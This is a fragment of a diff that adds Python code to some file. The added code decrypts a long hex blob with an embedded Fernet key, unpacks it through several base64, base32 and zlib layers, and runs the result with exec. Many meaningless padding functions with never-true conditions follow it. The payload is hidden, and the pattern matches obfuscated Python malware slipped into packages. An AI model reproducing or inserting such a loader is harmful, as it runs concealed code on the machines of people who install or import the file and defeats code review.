554a747455754f74325978656b4935574335684c31466b314349683855344c586a6b3859616d395f4233594256426868665456677851306c784b6c667a634161587964667432544457543774385a38485a53774a394f704f7a53426964586456376f6f3861785737454d6273594d53466a32787744346752536b3730325f6d555a4f52675f482d6d775168316d65576a4275395348367468696c444e356c6a4841334d415a4434645137337057306545517838314a756547506d6e5a6c4e30704e374e364c487168475a4c4851666859593863785f725459364c616b657770797348625057783758506238574d346b6d49626835306964576b524c59564e626363546a4b6f5a5f446f384c496f79734d52677933674c3366787a537a786c6533645f6e65676235714661703679383247432d74524a465665634f4c38444a4b306a5752376d6f79753058702d567470495272463557547037665152644a64316d636d52426c6f4e7236556c794276353032424f4b714d624345685541306b344b726d59494658685932517830784568386475437733686a3951714c63754f4e39536234546b7453327667507a64446f464255375a376e39517135336a4b5a3238544c4e5f65377855386f69635a4777654e6453726264774a664b44665470424e78533433786f397336773838416e68386f6e64634c67346e6a373259746d65317143347a587847786f4e776b6977575341586b78436a53586f454f594e48304a6c45494c4a35303934576c56475146385154646d6d6a755f4d7a4d716d466c377071547a6d4c36344d4e4f7144364978646d6f79494631474c64626d5f52485168474f6145494c586b5a324d57683171767858364a6d797a63445a6278354d444464735252735f68593475535a327161582d7078316464766361376a78704231647a397a696b65486659554746796f68343835415778576257704b514950364546773564656e41456e4e6b653341346c616e5a2d6d376b39625173756c4e4c45635a6c317135504d5f3866365478776e3373524f2d4448505465456d6559714b5974434b483755765a33656a6b2d35347354674a61656c4d766236703331366d55537555557855556462555454796e716336534735636749305f74346535356b44786137704a635f4f386651383173365f35324649492d62704235703774636b59385164397a5f5072696264666734764b3541775a4b335f4a4c375271447a536a487355346f45685550682d59335449716c79574541464678414a36774f41425a6f6e557a7943766b4d696579614e39634830554951674f7469584c304b77456d4775687837723769575f75524358305957564a6a7a6d6b62344f64694c334a4930492d35373438536d7739374f69454555475876435565635378796b48705a476e466a784867693571766e76433767495046735336433269746a4d645748634451654e393941625547366b31434d626e6c4b687179686b6b7a34724b3242526644552d6c6d584a4d36483250334c50326950694a4c6f614a4a546c7a564c5271755276415332345557416a614533723361324d475f37317779566f666172664c4b466c5055736a6f4277545a6937314679417675375876362d52484d70516c3144717a65474d666e6f45634f44387239506e323750586e77575456356771694277616f315747786175497457315f4435665a6536306e6d7877532d734761696a2d48653564416f726a4f364c416e70375f5639656e3835484d4d476f484e65494355594e795a625970384f58746e6437416278457565532d47657a6379354470684a512d5a655874624c74484b30454d5078743177735f34455744473374795f4d497654517973644b41636b755072536c543431625272746b6365705071536b4a57316a5650783846425142306e79523769394e744b7634637230476b4931794b544f684a312d64476a676b63696e624c7176514745635274454e795a75747650685f324639396e4344724b72444646746a6c3337383038527262704d705a4f706d51566a79437742504b6e784b62643835765a584373744b56556c765f7975536c43754c6c334a47346e78697757684b6d47666a4a5557704252524c75376679495f685451773842396d4179784f326d5a4a70766532504152775438374b4172517361504f71534a6445514a4c655946413831454a54694137476f7179716374354b79755676306e3052346970436b347a7178494f4b7939502d7a5a596a38344d412d6953524a534e6238535937666a776a767151646f7072305042427777683746337662674233684b6d31766b6933614a616d324d6a4d763873386a786d6d6a357a546c4345434e785a514e585f62575a4348397a6235517a324574337378436d3854645357396f4b47796441354267697355346b74694c564442456f6a4f5467506159614a5866795557314766614969584579425f784a5268474856567246434f7234666a4e354f785a47313566705862364336595361314e757872433273736f616f4a323567557473672d3163317536776e6549566b34354a6f38706e3751754346454e31516c46326234735765494a5469544c6a4a4e4d347639664e4b5f6350654145306c6d394471666d4b6b6743536755503177464f74676c626b305548655a4734464247714c786a494c646d6a7875744a365161676c36655f4457474b52473970416a5f7237365f4b646f644d71726c454f3549524f6e4245784a52722d7172316e76523835305372516e6b5430546a2d5a7a616c5a63353452552d7648746136506437373234477263444f5f714461656a715150624a52436158415044615464662d486f525f34704d712d443864765761744c7a306b4c5f5f78727149646a644167525969386e4e4f4734345377494d4b4c6b726a387254694a5f47516d354271476530585a564a7563594e4e505a5771774644534c47394a497a4f65783975794c79686d32725232436a5170794f48566576613866383151535150385f794d7a3136365a4f5f674c436732455764525f31755f5a7a5345366a674c4b336430764f786a384a49493342525261545a4f4d55626d5f75507949544f3872764e6e446338425878743377626741644e66454255507a7649554a394b585333425661306f5668625266756a5837516461515377723056534e356474543271465a7a3356424e6153516662466a504b45534e366867474764795448574b345f7438394c516d4238504379796f74765459455176734f364b6a6d4b3949753835396141734d36753566585964657943396a3869596e4a636239757a664e712d6246796654675559526e7a584f4c62562d4f5042306a66694a77696343415830415531576949584f466769727543745044323148565377334c2d7a7a766837366a714548326942625a732d586a6b4854426f476f6c6e3543572d3135464648673850534238307032534a725f596d52563841507a33397350424e496b6832375670706f65385374566642784e505655646143446a466c5975464b68306258736d4d31462d797036326e7970716c6d59574a64794a555266747a6963345a36364b454e7a514b735f484639446436346b637a3942694d5972796a584f623935342d504331664f6470726641455756634e46365f6e486a526373674d795562324f6e2d51524c2d63757030436939647a486757735775465036756d3151536d317550444c6779793930366d536e726a735a3236495f396e2d34755f52745253315a62567a696b3362636469656c43594f696a696a5738786848764a474e61765671613662646a62454c36486c67317442616b5f43645f6d5548714a6c4f785757695a57625f674e3859427759726c363862753064376c53317279465431467965667937694965325a57704e366a6862754b5861337252316b78304f685f35695176797357554d733635422d413331304a7061724347426743457a68594a4c497833744771483449754b3566442d49676f6e484e5f5a6435665f7167657a344778434d394844594b445a6671675f6962395949786636426a7932654a6c536e56567848526a4e36413878424f574e55725051422d786e634b564d43756b2d354638655f4e37504a527a77514f39716338324b65546f56556766486e615f414f38764163754136743351785a4e645547567331444c72545241785f6844465a64435755317a7458754f6d7366756b6c3042666d614e364b75686369525041317657794955664e73326b7a4d38424d663945724c696c30346c3431465737425747575453513534764f52534e6276376e4e5550587442387a735459376538764568574c794d6638516c74716c326a7658676e464e764862316a6c386248596f3876414d576e50335a424359395645346a512d475363644e732d4c526f706a536e5f507a78746f315150397447356e2d39576a50734c76486e504a31626d7733325438597932456b5038327a6a7661527a6647656f54414178674834655766412d5a5755514f333742544e7a6f6b74745f495378534c5672544a7a586a46736250704954767a496c35413345344c386e74566f546d425079614d6a75356a306c6838564b64524a6d6445344134464c77317a6f6d415372444b787572302d41506e4d44455662674762574157717a5a354f6865446261792d6246516e645a487070435f47737673664f7676336879506a6973585a5f6a624d59646a4f545f4b446867396a4c31774133663872513574432d4f752d4c4a6f7551383277486a485a62625f417931467372677a654139764a465766414b47574367756e5476344f334f71385f414d516455665739686c4d344944657462644950726b462d47624961314b70793043626535784179644f4b546a416532305a76495268395850734142766b362d436e67762d416555526d4967366144312d794e686a4c73494750516a68354c4a534b56674b63574968364341384b674432395a6b72744574316172332d43696464395762716c76433342645337624d33414b396b79556f374b6c523035586730486548574a584d62353861384e6964694d6f64505967334f37685a6c39554b49336863494b386a45554f57324f52576d6278685f2d76414837644f665f5a7746527a6671555f38655a704e323647566d4145467775354464376b39317a344d4f6c2d584458727145316c66395f7453764d34784338454c4e384c5437687461346558674b54345052597a3666325f754453376b6c43676f74423942756269357139646d6244586945515444745562795359725a63316c48376b454555525973697861516355316f566a47707645324a6a394f78356644536975797851654a7030695069745252445337517a41454f686749334d346642655f44695f626e6d7a57433335396f74475978536b74675764516848636c697476746c42414b5430554b4e39744c6865772d7a4845414f5852437a53526b7a4a736865326d63797635352d71706f4e7530446d6546784e7a6d6434385a36795436564f6e4f5070627759686d686561334b49396867716345426c6b47667a497148426c523958367066436e314e714e47734d6d5f6a3337396376774c58736a6c4c465933347961546d764449347751585272714251705968334f655551525134556556492d42513334306a665f2d414d734a39636a46475f57746a43516830616b5f64544f50716f755857335449744c35527a6b4c6c6148574f53624a566a4a61377a424d4a6f4675423836776e5f386b6e4441376f4d546841735869344a6c64796f64535252675f497a44384c5666526835676164763951674978363241535846574e754f4a4b3038494b6d4b524a7674774d704d436a4e4a546545316938654f4e32534b6e76474a624c6c68584962594365374177302d5a4b30693678516f4a75386c4c434a4d4d49626742755442636873725364576c5949716841577562326461714b6e4e2d4c395370476c5057303762596b455f6c4e7a4c5a584341394d6b3266784744633776306f334c656a552d635442365a6c737355635372376a71353535537857796c696c4f784c32335674637578423151656a3276764c4a386e4d655a4c306d437451414b415a333865486c474b4e7a66647079497a766a47324f59757333556d7a6a526357456f4d476d416f653672537158663179304c76433461794c384c57307155465958714d6f706f724878635242444b45544c584d627861336b35596367487961516a5632396f664b6a473632736e317042496e5743533766344165326f506a484643504277683755466d4b485033694e71734e334655596644383237676b5f37653279474b4f4831386d6c5f373547726938664c494638515539674f33303037796c72544472556544483236766e6d7631554c49344f3736374f6437507a6432432d75456d6d517259454f5136474e33684c56347278734f4a776970536c5a506d4c52476b5231594e44724749655752";__vare__ = lambda x: ____.loads(__________.decompress(______.b32decode(______.b64decode(x[::-1]))));__mycip__= Fernet(base64.b64decode(__mikey__));__step1__=bytes.fromhex(mydata);__step2__=__mycip__.decrypt(__step1__);__decr__=base64.b64decode(__step2__);__decrdata__=__decr__;__gotnew__=base64.b32decode(__decr__);__newdecr__=127554046809;__getnew__=__newdecr__;__myb64code__=base64.b64decode(__gotnew__);__myb64codee__=base64.b64decode(__myb64code__);___ = __myb64codee__;exec(__vare__(___))
324
+
325
+ def saint9767884():
326
+ if 1339849 == 3232921:
327
+
328
+ print(5998776)
329
+ aaa3439920 = 6186232
330
+
331
+ print(2520448)
332
+ bbb5869805 = 2290373
333
+
334
+ aa2021048 = 9052685
335
+
336
+ z600637 = 2543650
337
+ zz3326517 = 7022667
338
+
339
+ c1031611 = 2663217
340
+ cc8579957 = 6178488
341
+
342
+ elif 7559224 == 3489394:
343
+
344
+ print(9659069)
345
+
346
+ aaa7492987 = 1797917
347
+ print(1498705)
348
+
349
+ bbb831728 = 2540045
350
+ aa4789134 = 4175007
351
+ x1050206 = 2070143
352
+ xx7529023 = 8876201
353
+
354
+ a6551885 = 6388318
355
+ aa9980863 = 9688407
356
+
357
+ def saint1600133():
358
+ if 6059791 == 6734077:
359
+
360
+ print(262679)
361
+ aaa4240835 = 2435134
362
+
363
+ print(2805216)
364
+ bbb9474346 = 5589776
365
+
366
+ aa5188026 = 7696730
367
+
368
+ z5115035 = 5314967
369
+ zz2902600 = 2805764
370
+
371
+ c1144909 = 1907694
372
+ cc6958303 = 4178823
373
+
374
+ elif 8848264 == 5194321:
375
+
376
+ print(6408140)
377
+
378
+ aaa6708530 = 1542537
379
+ print(4661615)
380
+
381
+ bbb6465162 = 6103824
382
+ aa7744346 = 5272489
383
+ x3749898 = 2605519
384
+ xx3095834 = 4379373
385
+
386
+ a8456924 = 1721338
387
+ aa2813934 = 2674179
388
+
389
+ def saint4683140():
390
+ if 2681469 == 2854991:
391
+
392
+ print(5068426)
393
+ aaa7827363 = 7534276
394
+
395
+ print(6613488)
396
+ bbb7378004 = 9943269
397
+
398
+ aa9289617 = 8300428
399
+
400
+ z2168856 = 279055
401
+ zz7372465 = 3982032
402
+
403
+ c4951688 = 3713518
404
+ cc3645226 = 7375887
405
+
406
+ elif 3826932 == 5821216:
407
+
408
+ print(6925894)
409
+
410
+ aaa9835487 = 6097558
411
+ print(7587884)
412
+
413
+ bbb3947601 = 7940871
414
+ aa9922230 = 4855212
415
+ x1634100 = 4087923
416
+ xx1009926 = 1522040
417
+
418
+ a8395047 = 5419680
419
+ aa625091 = 9136642
420
+
421
+ def saint6944110():
422
+ if 8502337 == 5096811:
423
+
424
+ print(7853376)
425
+ aaa8717393 = 1335181
426
+
427
+ print(847692)
428
+ bbb2304910 = 7370378
429
+
430
+ aa9092735 = 7215803
431
+
432
+ z2829375 = 489616
433
+ zz4609563 = 4275559
434
+
435
+ c5107325 = 9122006
436
+ cc1105320 = 5368015
437
+
438
+ elif 5097388 == 8447897:
439
+
440
+ print(2388215)
441
+
442
+ aaa1528715 = 214627
443
+ print(7528662)
444
+
445
+ bbb4469915 = 9677676
446
+ aa3867668 = 2392308
447
+ x8721091 = 3411984
448
+ xx6508254 = 6312767
449
+
450
+ a7127549 = 2847846
451
+ aa9835591 = 8516060
452
+
453
+ def saint8568872():
454
+ if 8376100 == 6633336:
455
+
456
+ print(4404520)
457
+ aaa9365320 = 6568965
458
+
459
+ print(9401318)
460
+ bbb8398663 = 479759
461
+
462
+ aa7934788 = 3415336
463
+
464
+ z7182746 = 2264110
465
+ zz9654255 = 6411012
466
+
467
+ c826708 = 7622754
468
+ cc149887 = 5442641
469
+
470
+ elif 7170567 == 4098153:
471
+
472
+ print(3931688)
473
+
474
+ aaa8348246 = 9587653
475
+ print(4448413)
476
+
477
+ bbb8131186 = 7872664
478
+ aa7702542 = 5462975
479
+ x8723246 = 7551363
480
+ xx2987596 = 3114378
481
+
482
+ a8322341 = 8782584
483
+ aa9764449 = 739501
484
+
485
+ def saint7340871():
486
+ if 2880555 == 4974458:
487
+
488
+ print(1120707)
489
+ aaa2346211 = 7298809
490
+
491
+ print(7278600)
492
+ bbb8516839 = 6526328
493
+
494
+ aa2704434 = 8540112
495
+
496
+ z6151223 = 5098310
497
+ zz3380170 = 907377
498
+
499
+ c1154830 = 180705
500
+ cc8334961 = 6040683
501
+
502
+ elif 9735274 == 8695467:
503
+
504
+ print(7979930)
505
+
506
+ aaa4451411 = 8532501
507
+ print(1931920)
508
+
509
+ bbb3909811 = 5671020
510
+ aa6425488 = 1257886
511
+ x3167846 = 5437560
512
+ xx4457089 = 9593005
513
+
514
+ a1491115 = 8065492
515
+ aa7756559 = 482018
516
+
517
+ def saint3517965():
518
+ if 2365502 == 6480242:
519
+
520
+ print(9286596)
521
+ aaa8578383 = 3169773
522
+
523
+ print(8313711)
524
+ bbb8859931 = 8657251
525
+
526
+ aa7332030 = 5810668
527
+
528
+ z7870431 = 6519143
529
+ zz8555819 = 7700909
530
+
531
+ c5012870 = 9796158
532
+ cc8700306 = 4145719
533
+
534
+ elif 4321123 == 1435787:
535
+
536
+ print(896539)
537
+
538
+ aaa995168 = 3876092
539
+ print(1100904)
540
+
541
+ bbb9630588 = 1612246
542
+ aa6167673 = 290256
543
+ x8752525 = 4034677
544
+ xx6171492 = 9531245
545
+
546
+ a3637767 = 3175799
547
+ aa3248276 = 1358838
548
+
549
+ def saint7235631():
550
+ if 4436890 == 4714087:
551
+
552
+ print(5300798)
553
+ aaa5262529 = 5885867
554
+
555
+ print(3198802)
556
+ bbb9539398 = 4058664
557
+
558
+ aa5541863 = 116618
559
+
560
+ z9742557 = 5042686
561
+ zz382062 = 6434612
562
+
563
+ c6125708 = 4320396
564
+ cc923638 = 3922893
565
+
566
+ elif 6611072 == 5898886:
567
+
568
+ print(9421758)
569
+
570
+ aaa7638000 = 2369785
571
+ print(6632032)
572
+
573
+ bbb9814608 = 7995182
574
+ aa2057534 = 9393301
575
+ x8878959 = 2624575
576
+ xx5569775 = 6090945
577
+
578
+ a2165851 = 5068847
579
+ aa4102184 = 3295467
580
+
581
+ def saint5106155():
582
+ if 1029087 == 8555577:
583
+
584
+ print(7595636)
585
+ aaa2480739 = 9397043
586
+
587
+ print(6603174)
588
+ bbb964861 = 5835391
589
+
590
+ aa3024141 = 5460413
591
+
592
+ z3023255 = 4490619
593
+ zz3343809 = 7281010
594
+
595
+ c1209407 = 1815958
596
+ cc1395250 = 8870355
597
+
598
+ elif 2660547 == 5132802:
599
+
600
+ print(5623194)
601
+
602
+ aaa4407575 = 7212133
603
+ print(5411694)
604
+
605
+ bbb9316215 = 4776194
606
+ aa2303533 = 6176348
607
+ x7297815 = 686078
608
+ xx7531174 = 1679594
609
+
610
+ a7933104 = 7966398
611
+ aa7869187 = 6464736
612
+
613
+ def saint7267379():
614
+ if 4225090 == 8815315:
615
+
616
+ print(4409294)
617
+ aaa5607346 = 9361811
618
+
619
+ print(9061047)
620
+ bbb1318990 = 4093007
621
+
622
+ aa1684926 = 561181
623
+
624
+ z8742937 = 4721253
625
+ zz1133145 = 2070430
626
+
627
+ c2187896 = 8375624
628
+ cc4797221 = 7269560
629
+
630
+ elif 8507402 == 9857832:
631
+
632
+ print(4850819)
633
+
634
+ aaa1843222 = 2718044
635
+ print(2534093)
636
+
637
+ bbb2823337 = 3457639
638
+ aa4441640 = 191828
639
+ x9387614 = 9252372
640
+ xx3210097 = 2827465
641
+
642
+ a7331286 = 1692633
643
+ aa565159 = 3285063
644
+